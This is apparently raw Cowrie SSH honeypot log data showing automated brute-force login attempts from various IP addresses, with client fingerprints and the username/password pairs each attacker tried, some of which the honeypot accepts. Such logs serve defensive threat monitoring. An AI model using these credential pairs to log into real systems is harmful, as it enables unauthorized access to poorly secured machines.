{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:50.348135Z","src_ip":"118.193.33.3","session":"b332327e22df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:50.567622Z","src_ip":"118.193.33.3","session":"b332327e22df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:51.477601Z","src_ip":"118.193.33.3","session":"b332327e22df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:52.699290Z","src_ip":"118.193.33.3","session":"b332327e22df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.3","src_port":49820,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3f84f8dad35","protocol":"ssh","message":"New connection: 118.193.33.3:49820 (10.17.0.5:22) [session: c3f84f8dad35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:52.908966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:52.912429Z","src_ip":"118.193.33.3","session":"c3f84f8dad35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:53.128262Z","src_ip":"118.193.33.3","session":"c3f84f8dad35","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:54.024785Z","src_ip":"118.193.33.3","session":"c3f84f8dad35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:54.244981Z","src_ip":"118.193.33.3","session":"c3f84f8dad35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:54.251291Z","src_ip":"118.193.33.3","session":"30cfd9aa577a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.183.250.100","src_port":40690,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a4241941811","protocol":"ssh","message":"New connection: 51.183.250.100:40690 (10.17.0.5:22) [session: 0a4241941811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:01.616623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:01.620716Z","src_ip":"51.183.250.100","session":"0a4241941811","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:01.708538Z","src_ip":"51.183.250.100","session":"0a4241941811","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bench","password":"1234","message":"login attempt [bench/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:02.093333Z","src_ip":"51.183.250.100","session":"0a4241941811","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:03.185260Z","src_ip":"51.183.250.100","session":"0a4241941811","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.125.147.88","src_port":47227,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd0b82585221","protocol":"ssh","message":"New connection: 154.125.147.88:47227 (10.17.0.5:22) [session: bd0b82585221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:11.461017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:11.466002Z","src_ip":"154.125.147.88","session":"bd0b82585221","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:11.710415Z","src_ip":"154.125.147.88","session":"bd0b82585221","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"Runner123!","message":"login attempt [runner/Runner123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:12.667853Z","src_ip":"154.125.147.88","session":"bd0b82585221","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:13.891210Z","src_ip":"154.125.147.88","session":"bd0b82585221","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.210.249.152","src_port":64808,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dd6dcd7d806","protocol":"ssh","message":"New connection: 172.210.249.152:64808 (10.17.0.5:22) [session: 5dd6dcd7d806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:15.529299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:15.532915Z","src_ip":"172.210.249.152","session":"5dd6dcd7d806","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:15.547964Z","src_ip":"172.210.249.152","session":"5dd6dcd7d806","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sakura","password":"Sakura123","message":"login attempt [sakura/Sakura123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:15.647567Z","src_ip":"172.210.249.152","session":"5dd6dcd7d806","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:16.665432Z","src_ip":"172.210.249.152","session":"5dd6dcd7d806","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.218.242.31","src_port":39050,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee30f8f72852","protocol":"ssh","message":"New connection: 103.218.242.31:39050 (10.17.0.5:22) [session: ee30f8f72852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:18.638440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:18.643431Z","src_ip":"103.218.242.31","session":"ee30f8f72852","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:18.857173Z","src_ip":"103.218.242.31","session":"ee30f8f72852","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"planka","password":"1234","message":"login attempt [planka/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:19.746331Z","src_ip":"103.218.242.31","session":"ee30f8f72852","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:20.963403Z","src_ip":"103.218.242.31","session":"ee30f8f72852","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.240.75.51","src_port":41020,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ef11b892afc","protocol":"ssh","message":"New connection: 35.240.75.51:41020 (10.17.0.5:22) [session: 6ef11b892afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:27.801010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:27.806380Z","src_ip":"35.240.75.51","session":"6ef11b892afc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:27.885088Z","src_ip":"35.240.75.51","session":"6ef11b892afc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mikrotik","password":"1234","message":"login attempt [mikrotik/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:28.377366Z","src_ip":"35.240.75.51","session":"6ef11b892afc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:29.552831Z","src_ip":"35.240.75.51","session":"6ef11b892afc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.92.202","src_port":55570,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ab29d5cb6c3","protocol":"ssh","message":"New connection: 103.82.92.202:55570 (10.17.0.5:22) [session: 4ab29d5cb6c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:31.415022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:31.418040Z","src_ip":"103.82.92.202","session":"4ab29d5cb6c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:31.660071Z","src_ip":"103.82.92.202","session":"4ab29d5cb6c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jessalyn","password":"123456","message":"login attempt [jessalyn/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:32.657484Z","src_ip":"103.82.92.202","session":"4ab29d5cb6c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:53:33.901603Z","src_ip":"103.82.92.202","session":"4ab29d5cb6c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":39488,"dst_ip":"159.203.135.109","dst_port":22,"session":"34555846bf82","protocol":"ssh","message":"New connection: 92.118.39.92:39488 (159.203.135.109:22) [session: 34555846bf82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:38.200581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:38.205089Z","src_ip":"92.118.39.92","session":"34555846bf82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:38.351432Z","src_ip":"92.118.39.92","session":"34555846bf82","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:54:38.680591Z","src_ip":"92.118.39.92","session":"34555846bf82","protocol":"ssh"}
